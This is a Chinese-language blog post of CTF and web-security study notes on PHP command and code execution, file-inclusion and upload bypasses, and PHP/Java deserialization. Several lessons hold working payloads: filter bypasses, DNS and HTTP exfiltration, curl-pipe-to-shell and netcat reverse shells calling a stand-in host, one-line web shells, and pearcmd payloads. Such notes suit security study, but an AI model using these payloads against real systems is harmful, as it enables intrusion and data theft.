TONG-H

一些小笔记

web2024-10-27

#第一课

##认识漏洞

###约定

poc:漏洞演示,一般不具有攻击性,仅仅证明漏洞存在

exp:漏洞利用脚本、工具,具有攻击性,可以直接进行漏洞利用,执行命令或者读取文件

脚本:利用漏洞需要执行的本地’程序’,方便漏洞利用者替代重复手工操作

###漏洞的产生原因

  • 设计缺陷
  • 逻辑错误
  • 代码 bug
  • 越权漏洞
  • 其他漏洞

###漏洞的利用方式

  • 失能
    • 服务宕机
  • 读取
    • 读敏感文件
    • 读数据库信息
  • 写入
    • 篡改数据
    • 提权
    • 加密硬盘
  • 执行
    • 执行命令
    • 内网渗透
    • 反渗 shell

###漏洞利用之信息泄露

  • 版本软件信息泄露:git svn hg bzr CSV
  • 敏感文件信息泄露:robots.txt www.zip 静态文件注释泄露
  • 配置错误信息泄露:DS_Store WEB-INF Apache/Nginx 错误配置

###信息泄露漏洞利用

  • http 头信息泄露
  • 报错信息泄露
  • 页面信息泄露
  • robots.txt 敏感文件泄露
  • .git 文件泄露
  • 搜索引擎收录泄露
  • fofa 资产搜索

#第二课

##php remote command execute(远程命令执行):

  • && 前后两个命令是并列执行 短路

  • || 前后两个命令有一个执行成功就可以

  • ; 独立的两条命令执行

eg:对于 system($cmd, “ > dev/null 2 >&1 “); 无回显

cmd = tac flag.php%26%26whoami

使前一句有回显

###1.黑名单过滤:

  • 替换过滤:若将关键词替换为空 则双写绕过

    ​ eg:cat -> ccatat 过滤后: cat

    ​ 但是若关键词替换不为空 则会发生执行错误

  • 过滤特定字符串:可以使用通配符绕过 *: 匹配任意字符 ?匹配单个字符

    ​ eg:flag.php -> fla* or fl?g.php

eg:对于 if (! preg_match(“/flag|&|;/i”, &cmd)) system($cmd, “ > dev/null 2 >&1 “);

?cmd = tac fla?.php||ls 即可绕过

eg:对于 if (! preg_match(“/flag|&|;|cat|tac|nl|more|od/i”, &cmd)) system($cmd, “ > dev/null 2 >&1 “);

?cmd = `echo ‘dGFjlGZsYWcucGhw’|base64 -d`|ls

eg:对于不对分号过滤

?cmd = a = c; b = at; c = fla; d = g.php; $a.$ b ${c}.${d}

等效于 cat flag.php

###2.符号过滤:

  • 过滤空格情况:
    • <> 代替空格
    • ${INF} $ INF$9 代替空格 bash 下可以使用{cmd, args}代替空格
    • %09 %0b %0c 控制字符代替空格
    • 字符串截取空格 (可以从 env 环境变量中找)

#第三课

##php remote code execute(远程代码执行)

tools:中国蚁剑

插件:disable_function suid 提权文件

蚁剑转接头 将 get 输入转成 post 输入 ?1=assert($_POST[1])

  • 无字母数字 rce:

    解决方法:通过异或运算绕过 用其他字符异或成字母数字实现 rce

  • 无回显情况下的 rce:(函数 shell_exec 与 system 相比没有回显结果)

    • 通道
    • 数据传输路径

​ 解决方法:

​ 1.写入文件 二次返回 eg:?cmd = cat fl?g.php > 1.txt(再 rm 1.txt 删除痕迹)

​ 2.dns 信道 网站:https://dnslog.com

​ eg1:/?cmd = ping -c 1 `whoami`.[dns 二级域名]

​ eg2:/?cmd = a =`sed -n “3,4p” fl?g.php|base64`; curl ${a: 0:10}.[dns 二级域名] (若遇到 url 无法解析字符 则 base64 转码)

​ 3.http 信道 网站:https://requestrepo.com

​ eg:/?cmd = curl [get 请求域名]/?1 =`ls|base64`

​ 4.反弹 shell 信道 需要公网 IP 反弹 shell: nc 连接 (网站:https://your-shell.com)

​ eg:/?cmd = curl https://your-shell.com/yourip: 1337 |sh

​ 服务器端:nc -lvvnp 3389

​ 5.延时 sleep 3

#第四课

文件包含的本质:

  • 将文件中代码填充进目标文件中

文件包含作用:

  • 代码复用
  • 并行开发
  • 模块化
  • 增加移植性

include 和 eval 的区别:

  • include 和 eval 一样,都不是函数,都是语言结构,无法通过配置文件函数禁用来禁用
  • include 后面跟一个路径,表示要执行的 php 文件的路径 读取路径中文件的内容后,然后执行里面的 php 代码
  • eval 后面跟 php 的代码,表示要执行的 php 代码

php 常见文件包含函数、语言结构

  • include 仅仅是包含这个文件,如果没包含好,继续执行后面代码
  • require 必须包含好这个文件,如果没包含好,就报错
  • include_once 包含一次,遇到错误继续执行
  • require_once 成功包含一次,遇到错误就停止

文件包含漏洞:通过文件包含时,包含的内容受用户可控

php 伪协议:

  • 1.什么是协议:

    • 网络层:IP、ICMP、ARP、IGMP
    • 应用层:http、https、ftp、ssh
    • gopher 协议、qq 拉起协议、百度网盘拉起协议……
  • 2.协议的格式: 协议头://内容

  • 3.php 中的协议:

    • file 协议:不写协议名字,就默认认为是 file 协议

      ​ 上层目录特性:

      ​ 1.每个目录都有上层目录

      ​ 2.根目录的上层目录是根目录本身

      ​ php 目录整理:

      ​ eg:/var/www/html/ctf/../flag.php => /var/www/html/flag.php

    • http 协议:配合文件包含,可以读取远程的 php 代码并在本地执行,实现了最终 RCE 的效果

    • ftp 协议:默认 21 端口,进行文件传输的协议

    • php 协议:

      • php://input eg:</?php system(“calc”)/?>
      • php://filter
    • data 协议: eg:?file = data:, </?php phpinfo();/?>

    • phar 协议:

php 文件上传机制:

上传文件临时存放在 /tmp/phpxxxxxx (x 为数字或大小写字母)

. /???/??????[@-[] 匹配临时文件并执行

1
2
3
4
<form action="Your-target-url" enctype="multipart/form-data" method="post">
<input name="file" type="file" />
<input type="submit" value="upload" />
</form>

#第五课

##文件包含

  • 一 文件名可控

​ $file = $_GET [‘file’]

​ include $file.”.php “; 用 php 伪协议,可以使用 data 协议

  • 二 文件后缀可控

​ $file = $_GET [‘file’]

​ include “/var/www/html/“.$file; 不能使用伪协议

​ 可用目录跳转 eg. /var/www/html/../../../../../../flag

##高级文件包含

  • 一 nginx 日志包含

​ nginx 可以认为它是 http 的一个服务器软件,提供了 http 服务,默认监听 80 端口

​ 若 http://localhost/123.php?a = b 123.php 后缀是否是.php 是则转发到本地的 127.0.0.1 的 9000 端口

​ ps:9000 端口:是被另一个服务端软件监听,它提供解析 php,我们把这个软件叫做 php.fpm,专门解析 php 后缀文件,执行里面代码,将执行结果交给 nginx,再由 nginx 返回给 http 的客户端,这个客户端就是浏览器

​ 若 http://localhost/123.jpg?a = b 123.jpg 非 php 后缀,那么由自己处理,nginx 会找到 web 目录,读取 123.jpg 的内容,并返回浏览器,同时告诉浏览器,我返回的文件内容是一个 jpg 图片,你按照图片模式进行渲染

​ nginx 会将 http 记录到日志中,可在 UA(User-Agent)中加入 php 代码,执行包含 rce, url 中插入恶意代码会被 url 编码

​ Linux 下默认 nginx 日志路径:/var/log/nginx/access.log

​ 一句话木马: </?php eval($_POST[1]);/?>

​ 日志包含的前提条件:

​ 1.有文件后缀可控的文件包含点

​ 2.有可以访问到的日志路径

  • 二 临时文件包含(phpinfo_lfi)

​ *文件包含不支持通配符

​ 需要明确的得到这个临时目录下 php 开头的随机文件名字全称

​ 默认情况下,生命周期与 php 脚本一致,即脚本运行结束,临时文件也消失

​ 突破点:

​ 1.在 php 脚本运行过程中,包含临时文件

​ 2.在脚本呢运行过程中,得到完整的临时文件名称

​ php 配置文件中,默认每次向浏览器发送内容时,不是一个字符一个字符地发送,而是一块内容一块内容发送的(4096 个字符)

​ 假设我们能够访问 phpinfo 的结果 FILES 就会存在 tmp_name 临时文件名字,读取后可以成功包含

  • 三 php 的 session 文件包含,upload_progress 文件包含
1
2
3
4
5
<form action="Your-target-url" enctype="multipart/form-data" method="post">
<input name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
<input name="file" type="file" />
<input type="submit" value="upload" />
</form>

​ 强制文件上传时,通过上传一个固定的表单 PHP_SESSION_UPLOAD_PROGRESS,可以往服务器的 session 文件内写入我们的指定内容

​ 然后在脚本运行过程中,包含后,可以执行里面的 php 代码

  • 四 pear 文件包含

​ 条件:

​ 1.有文件包含点

​ 2.开启了 pear 扩展

​ 3.配置文件中 register_argc_argv 设置为 On,默认为 Off

​ PEAR 扩展: PHP Extension and Application Repository

​ 默认安装位置(Linux): /usr/local/lib/php/

​ 利用 Pear 扩展进行文件包含

​ 方法一: 远程文件下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
$file = $_GET['file'];

if (isset($file) && !preg_match("/input|data|phar|log|filter/i", $file)){
include $file;
} else {
show_source(__FILE__);
if (isset($_GET['info'])) {
phpinfo();
}
}

payload:
Your-target-url/?file=/usr/local/lib/php/pearcmd.php&xxx+install+-R+/var/www/html/1.php+http://your-shell.com/shell.php

​ 方法二: 生成配置文件,配置项传入我们恶意的 php 代码

1
Your-target-url/?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/payload.php+-d+man_dir=<?eval($_POST[1]);?>+-s+

​ 方法三: 写配置文件方式

1
2
3
4
5
6
Your-target-url/?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php

然后反弹shell
server: nc -lvvnp port
client: nc ip port -e /bin/sh
curl https://your-shell.com/ip:port| sh

利用 pearcmd.php 本地文件包含(LFI)-CSDN 博客

  • 五 远程文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
highlight_file(__FILE__);

$file = $_GET['file'];

if (!preg_match("/\.|php|data/i", $file)) {
die("hacker");
}
include $file;
?>

Your-target-url/?file=http://int/1

使用 在线 ip 转 int, ip 转数字-BeJSON.com 将 ipv4 地址转换成整数绕过

#第六课

##php 的文件上传

/tmp/php?????? (字母+数字)

1.php 的文件上传绕过 黑名单绕过

后缀替换为空时,我们通过提交 1.pphphp 替换 php 为空后,得到 1.php 成功写入木马

可以尝试上传 php3 php5 phps phtml

php 后缀替换为 txt 时,我们无法双写绕过

2.php 文件上传的 00 截断

123.php 明显不让直接上传

123.php%00.jpg 那么后台判断的时候,取最后一个点后面的字符作为后缀 jpg 看起来是合法的文件名称

​ ./upload/123.php%00.jpg -> ./upload/123.php

00 字符截断需要的版本:

php 版本小于 5.3.4 java 版本小于 7u40 或 可能的最新版本

3.iconv 字符转换异常后造成了字符截断

php 在文件上传场景下的文件名字符集转换时,可能出现截断问题

utf-8 字符集,默认的字符编码范围是 0x00-0x7f

iconv 转换的字符不在上面这个范围之内,低版本的 php 会报异常,报了异常以后,后续字符不再处理,就会造成截断问题

​ 123.php%df.jpg -> 123.php

php 版本低于 5.4 才可以使用

4.文件后缀是白名单的时候的绕过

​ 白名单:只准上传这几个后缀 因为匹配的内容少,所以限制的范围大

​ 黑名单:不转上传这几个后缀 因为匹配的内容多,所以限制的范围小,仅限于自己制定的几个,除了这几个,其他都行

​ 1) web 服务器的解析漏洞绕过

​ apache a.多后缀解析漏洞 当我们上传 apache 不认识的后缀时,apache 会继续往前找后缀,找到认识的就解析

​ 123.txt.ctfshow -> 123.txt 文本文档形式解析

​ 123.php.ctfshow -> 123.php 就交给中间件处理 php 脚本

​ b. ImageMagic 组件白名单绕过

​ 目标主机安装了这个漏洞版本的 ImageMagic 插件 <= 3.3.0 并且 在 php.ini 中启用了这个插件

​ 通过了 php new ImageMagic 对象的方式处理图片时 且 php 版本的大于 5.4 时

​ 才可以使用上传特定的 svg 图片,来实现组件的缺陷导致任意代码执行

​ nginx 基于错误的 nginx 配置 和 php.fmp 配置,当我们访问 123.txt/123.php

​ cgi.fix_pathinfo 参数默认开启 当 123.php 不存在时,会找/前面的文件进行 php 解析,这时候就成功解析了 123.txt 为 php 脚本了

​ iis Windows 下使用 iis6.0 版本中,如果解析的目录名字为 xxx.asp 那么里面的所有文件都会按照 asp 来解析 WindowsXP windows Server 2003

##高级文件绕过

  1. .htaccess nginx.htaccess

​ php.ini

​ 虚拟主机时代,一个物理服务器,里面可能存放几十上百个网站 每个网站一个目录

​ A 网站 需要这样的 php.ini 配置

​ B 网站 却需要那样的 php.ini 配置

​ C 网站 有需要另外的 php.ini 配置

​ 于是,总的 php.ini 不动,A B C 3 个网站分别在自己目录定义自己的配置,作用域也仅限于自己目录

​ 自定义配置文件 .htaccess nginx.htaccess

​ 在 nginx 下默认使用.user.ini 配置文件来进行 php 的配置

​ 使用 auto_append_file = 123.txt 来让任意的 php 文件包含 123.txt,执行里面的 php 代码

  1. 服务器内容检测

​ 不局限检测文件名,还会检测文件的后缀、文件的内容

​ <?php system eval $_POST

​ 二分法确定出被检测的关键字,使用替代语法绕过

  1. 配合伪协议绕过

​ .user.ini : auto_append_file = php://input 然后直接 post 实现 rce

  1. 配合日志包含绕过

  2. 上传 html 来 xss 执行跨站脚本

  3. getimagesize 函数绕过

​ getimagesize 函数来检测是不是函数,而不采用其他措施的情况下,如果一旦绕过 getimagesize 函数,就可以实现任意文件上传

​ XBM 格式图片

​ 当读到 #define %s %d 这种形式,就认为 XBM 图片的高或者宽

1
2
3
4
.user.ini
#define width 100;
#define height 100;
auto_append_file=/var/log/nginx/access.log
  1. png 二次渲染绕过

​ 正常做法:move_uploaded_file 方式移动我们上传的临时文件到上传目录去

​ 二次渲染做法:通过 imagepng 方法,来动态依据我们上传的图片的二次生成一个 png 图片 里面的 php 代码就会被清洗掉

​ 所以,我们需要使用特殊的方法,来构造我们的图片

​ 使用脚本 png_creater.php 生成恶意图片

  1. jpg 二次渲染绕过

​ 使用专用图来生成 jpg 木马,事先经过二次渲染后,我们的恶意代码依旧能够保留在图片中,通过文件包含,执行里面的 php 代码

  1. phar 文件上传绕过

​ 将 php.ini 中 readonly 注释去掉改成 off

​ windows 下生成的 phar 包可能在 Linux 下不兼容

1
2
3
4
5
6
7
8
phar_exp.php

<?php
$phar=new Phar("phar.phar") //一定要是phar后缀
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>"); //中断编译
$phar->addFromString("test.txt", "<?php system($_POST[1]);?>");
$phar->stopBuffering();

#第七课

sql 是一门语言,通过 sql 语句可以快速实现数据的增删改查

CURD 就是指对数据的增删改查(Create、Update、Read、Delete)

1
2
3
4
5
select * from user;
insert into user (username, password) values("张三", '没有密码');



数据库:

  • 关系型数据库: 把所有的数据变为表格存放

    • Oracle
    • Mysql/MariaDB
    • SQLServer
    • Access 所有数据集合在 mdb 文件
    • Sqlite 所有数据集合在一个文件中
  • 非关系型数据库(nosql 数据库): 用于 sns 社交软件 web2.0 (如微博、微信…) 所有内容由用户产生,并由用户消费

    • Membase
    • MongoDB

以Mysql/Mariadb 为主

#第八课

##反序列化笔记

类与对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//用户类
//属性和方法的集合
class user{
public $username; //公有属性
private $password; //私有属性
protected $userType;
public static $platfrom="xxx";
public login(){
echo $this->password;
} //公共方法
public logout(){} //公共方法

}
类的定义,我们可以认为是设计图

//实例化一个类 从设计图转换为一个可以用的变量,变量类型不再是字符串或者数字,而是一个对象
$u = new user(); //每个对象中,静态属性不变

类和对象的关系,类似于 设计图(蓝图) 与 生成出的产品 之间的关系

属性的权限,可以分为:

1 public 权限 外部可以通过箭头访问到

2 private 权限 内部通过 $this->username 访问到

3 protected 权限 表示 自身及其子类和父类 能够访问

1
2
3
4
5
6
7
class normalUser extends user{
public $score;

public function play(){
echo this->userType;
}
}

类的属性修饰符

public、private、protected

修饰:

静态属性 static

​ 1.不可修改

​ 2.类的静态方法,可直接调用 class::function();

final属性 子类无法重写父类方法

类的分类

1.普通类 没有任何修饰

2.抽象类

1
2
3
4
5
6
7
8
9
class user{
public function login(){}
public function logout(){}

abstract funcion play();
}
类里面的方法 有些是有详细实现的 有些就只有方法名字,无具体实现
抽象类 不能被new 也就是不能被直接实例化
可以通过子类继承补全方法

3.接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
interface service{
public function start();
public function stop();
}
不含任何逻辑代码 只声明方法

class child extends father implements service[, xxx]{
.....

function start(){
echo "this is start";
}
function stop(){
echo "this is stop";
}
}
implements可以实现多个接口

4.trait

1
2
3
4
5
6
7
8
9
10
11
12
13
//用于普遍操作,比如 文件读取 删除 IO操作 或者其他可以抽象出来的共同操作
trait trait_class{
function add(){

}
function sub(){

}
}
实现代码复用 可以认为是代码段,方便复制粘贴
class xxx{
use trait_class;
}

5.匿名类

1
2
3
4
5
6
7
8
9
10
11
12
class user{
public $username;
public function play($t){
echo $t->username;
}
}
$v = new user();
//一次性匿名类例子
$v->play(new class{
public $username="我是匿名类";
});
//核心思路 更类似于 伪协议的data伪协议

序列化与反序列化

如果属性权限为private,那么序列化后,存储的属性名字为 %00 + 类名 + %00 + 属性名

如果属性权限为protected,那么序列化后,存储的属性名字为 %00 + * + %00 + 属性名

序列化是将一个对象变成一个可以传输的字符串 serialize(对象) 返回反序列化后字符串

反序列化就是将一个可以传输的字符串变成一个可以调用的对象 unserialize(反序列化字符串) 返回对象

接口没有实例化对象 因此不能直接序列化

匿名类不能序列化

trait无法实例化 因此也不能序列化

魔术方法

1.魔术方法是一类类的方法

2.会在序列化和反序列化及其他特殊情况下,自动执行

分类

1.__construct 在实例化一个对象(new)时,会被自动调用

不允许重复声明

可以作为非public权限属性的初始化

2.__sleep 和 __wakeup方法

序列化时自动调用__sleep方法

3.__destruct 方法

类对象将要销毁,也就是脚本执行完毕后执行清理工作时自动执行

可以通过system(‘taskkill /fi “imagename eq php.exe” /f’);删除进程(php.exe/php-cgi.exe)绕过__destruct

4.__call 和 __callstatic

对象执行类不存在的方法的时候,会自动调用__call方法

直接执行类的不存在的静态方法时,会自动调用__callstatic方法

5.get 和 set 和 isset unset魔术方法

__get 对不可访问属性或不存在属性进行访问引用时自动调用

__set 对不可访问属性或不存在属性进行写入引用时自动调用

__isset 对不可访问属性或不存在属性进行isset()操作时自动调用

__unset 对不可访问属性或不存在属性进行unset()时自动调用

6.__tostring

类的实例 和 字符串 进行拼接或者作为字符串引用(例如传入函数时被作为字符串)时,会自动调用__tostring方法

7.__invoke

当类的实例被作为函数名字执行的时候,会自动调用__invoke方法

8.__set_state($an_array)

文档中说 执行var_export()时自动调用

9.__debugInfo

执行var_dump()时自动调用

10.__clone方法

当使用clone关键字,clone一个对象的时候会自动调用

php的反序列化漏洞

1.有反序列化提交的入口

2.被反序列化的类的魔术方法,有可能被利用

绕过__wakeup方法

条件:

  1. php5至php5.6.25 之间的版本可以绕过
  2. php7至php7.0.10 之间的版本可以绕过

绕过方法:

1.反序列化字符串中表示属性数量的值 大于 大括号内实际属性的数量时,wakeup方法会被绕过

2.绕过 +号正则匹配

参数有过滤,不让输入 O:数字 的形式 试图防止反序列化某个对象

O:数字 改为 O:+数组 就可以绕过上面的O:数字过滤

3.引用绕过相等

使用&符号表示两个变量指向相同的内存引用地址

4.16进制绕过

反序列化后的字符串,不能出现某个关键单词时,可以使用大S绕过
O:8:”backdoor”:1:{s:4:”name”;s:10:”phpinfo();”;} —>

O:8:”backdoor”:1:{S:4:”n\97me”;s:10:”phpinfo();”;}

5.exception绕过

不影响析构方法执行

6.php反序列化字符逃逸

​ 1.可以控制某个类中的属性值

​ 2.间接控制了某个类的反序列化字符串

​ 3.由于存在无脑过滤,字符增减,造成描述中字符串的长度和实际的不一样

​ 4.从而能够逃逸出若干个字符,实现字符可控,从而闭合前面的双引号

​ 5.实现反序列化字符串的完全可控

#第九课

phar反序列化

The phar extension provides a way to put entire PHP applications into a single file called a “phar” (PHP Archive) for easy distribution and installation

Phar 认为是java的jar包 / exe

phar能干什么:

1.多个php合并为独立压缩包 不解压就能执行里面的php文件

2.支持web服务器和命令行

phar协议:

phar://xxx.phar/aaa.php

$phar->setmetadata($h);

metaData可以存放一个类实例,生成phar后,会将这个类实例以序列化字符串形式存放在phar文件内,当使用phar协议加载phar文件时,会自动反序列化这个类的序列化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
*php.ini
phar.readonly = Off

*index.php
<?php

class hack{
public function __destruct(){
system("calc");
}
}
$h = new hack();

$phar = new phar("ctfshsow.phar");

$phar->buildFromDirectory(your_project_path);

$phar->setmetadata($h);

$phar->setStub($phar->createDefaultStub('from.php', 'index.php'));




*use.php
<?php

//需要注册恶意类才会加载
class hack{
public function __destruct(){
system("calc");
}
}

include "phar://ctfshow.phar";

file_exists("phar://ctfshow.phar");

file_get_contents("phar://ctfshow.phar");

file_put_contents("phar://ctfshow.phar", "111");

require "phar://ctfshow.phar";

fileinode("phar://ctfshow.phar");

filemtime("phar://ctfshow.phar");

filesize("phar://ctfshow.phar");

is_dir("phar://ctfshow.phar");

scandir("phar://ctfshow.phar");

highlight_file("phar://ctfshow.phar");

// 参数有 stirng $filename的函数都可以利用

echo $flag; //$flag来源于 your_project_path/from.php

总结:

  1. 生成phar包时,可以往metadata里面放对象
  2. 生成后,对象会自动序列化保存到phar包中
  3. 使用phar协议读取phar包时,如果当前脚本识别了这个类,则会自动调用这个类的魔术方法

哪里使用的多

如果有上传点,上传文件的前半部分可控,后缀黑名单,不能是危险的后缀(eg:php phps phtml ini) 没有禁止上传phar文件

能够上传phar文件,找到大量使用file_exists等文件读取函数,通过控制phar://头,来使用phar协议来解析phar包

就能自动进行反序列化

条件:

  1. 能够生成phar包并上传写入
  2. 有可利用的文件操作函数,并控制了协议头,使用phar协议解析
  3. 有可以利用的恶意类

session反序列化

PHP_SESSION_UPLOAD_PROGRESS

php的session是存放在文件中的 默认位置是/tmp/sess_PHPSESSID

session中是可以存放字符串、数字,也可以存放对象

session中php处理器格式: key|serialize_string (u|O:4:”user”:2:{s:8:”username”;N;s:8:”password”;N;})

​ php_serialize处理器格式a:1:{s:1:key;serialize_string} (a:1:{s:1:”u”;O:4:”user”:2:{s:8:”username”;N;s:8:”password”;N;}})

1.session里面存放对象时,会自动进行序列化,存放序列化后的字符

2.session里面拿取对象时,会自动进行反序列化,执行对象的魔法方法

1
2
3
4
5
6
7
8
9
10
11
s = requests.session()
file = {
"file": (payload, "aaa")
}
data = {
"PHP_SESSION_UPLOAD_PROGRESS": 123
}
cookie = {
"PHPSESSID": your_session_id
}
response = s.post(url = url, data = data, files = file, cookies = cookie[, proxies = {"http": "127.0.0.1:proxies_port"}])

thinkphp的反序列化

php的开发框架

一句话总结: 框架是为开发服务,不是面向产品

php框架的设计思路:

MVC结构的设计框架

(python java 都有基于MVC设计思路提供的框架)

MVC设计思路->基于MVC的框架->基于框架的产品

M: model 模型: 只负责处理数据交互 数据输入,经过处理,返回处理后的数据,不在乎 数据哪里来的,也不在乎数据去哪里

V: view 视图: 负责向控制器发送数据,经过控制器派发处理后,将数据回显在页面中

C: controller 控制器: 只负责分发请求

example:

菜鸟包裹 -> 前台负责分发任务

​ 快递员只负责接受,发送包裹,其他一律不管,可以认为他就是view 显示层

​ 包裹前台 认为是控制器,负责派件和收件的人员安排

​ 包裹就是model

每个层都独立了,解耦

MVC在web中的应用:

1.所有的请求都统一入口 index.php

2.通过不同的参数,表达不同的需求,由index.php作为控制器,统一分发处理

3.分发给Model处理完毕后,结果返回给Index控制器

4.Index控制器得到结果,返回给页面

特点:

1.从基于文件的url 转为 基于路由的url 从关注访问哪个文件 转向 关注url中的参数

2.使用统一的view视图,返回的数据就是要显示的数据

3.控制器和视图与用户有关联,模型相对于用户透明

第10课 01:01:11

pop链

#第15课

java基础

java是一门编程语言

纯粹的面向对象

基于类和类的方法

所有的类都存放在包 package中

java的web基于servlet (基于路由)

java的反序列化:

序列化 类实例->字节流

反序列化 字节流->类实例

序列化 会自动调用writeObject方法

反序列化 会自动调用readObject方法

类要能序列化需要满足的条件:

  1. 实现java.io.Serializable接口
  2. 该类的所有属性必须都是可序列化的,如果有一个属性是不可序列化的,那么这个属性必须注明是短暂的

反序列化漏洞利用条件:

  1. 有反序列化接口,能够提交序列化的数据,会自动调用对应类的readObject方法
  2. 有可以利用的类 readObject/readUnshared通过跳板,最终可以实现写入或者执行

当不允许反序列化漏洞的类,可以反序列化子类,也可以反序列化父类

java反序列化总结:

  1. 需要有一个提交反序列化字节流的地方
  2. 有可以被利用的类,存在readObject方法
  3. 类反序列化后,类实例已不再关注,我们重点是执行了readObject方法

URLDNS链

一句话总结: 不需要其他依赖,原生java库,支持反序列化后触发一次dns请求

HashMap

存放键值对的集合

为了验证键有没有重复,会对键进行取哈希值操作

hashCode 相同,就认为集合里面有这个键了,为了避免一个键对应多个值,所以会覆盖

URLDNS链:

利用两个类: HashMap 和 URL 类

HashMap存在readObject方法,里面调用了hash方法,处理自己的key

hash方法,调用了key的hashCode方法

当我们传入的key是URL对象的时候,就会调用URL对象的的hashCode方法

URL类的hashCode方法,只要自己的hashCode不是-1,就会调用自己handler属性的hashCode方法

handler是URLStreamHandler类,他的hashCode方法

调用了getHostAddress方法

调用了URL类的getHostAddress方法

最终调用了 InetAddress.getByName(host);实现了一次DNS请求

利用点:

  1. 验证反序列化漏洞存在,适合poc用
  2. 判断对方服务器是否出网

#第16课

CC链 (就是有反序列化入口,同时有cc库的情况下,如果进行rce或者文件读取)

CC库: Commons Collections apache组织发布的开源库

里面主要是对集合的增强以及扩展类,被广泛使用

HashMap HashTable ArrayList 都是集合

CC链学习前置知识

Transformer

特征:

  1. 是一个接口
  2. 有一个transformer方法,传入一个参数object,传出一个参数object
  3. 有点像 转接头 扩展坞

实现类:

ConstantTransformer 常量转换器: 传入任何值,传出的都是固定值

InvokerTransformer 反射调用转换器: 传入方法名,方法参数类型,方法参数,进行反射调用

ChainedTransformer 链式转换器: 分别调用传入的transformer类数组的transformer方法

新的数据结构

TransformerMap 分别可以对 key 和 value 执行构造参数里面的transformer转换

更新 ing……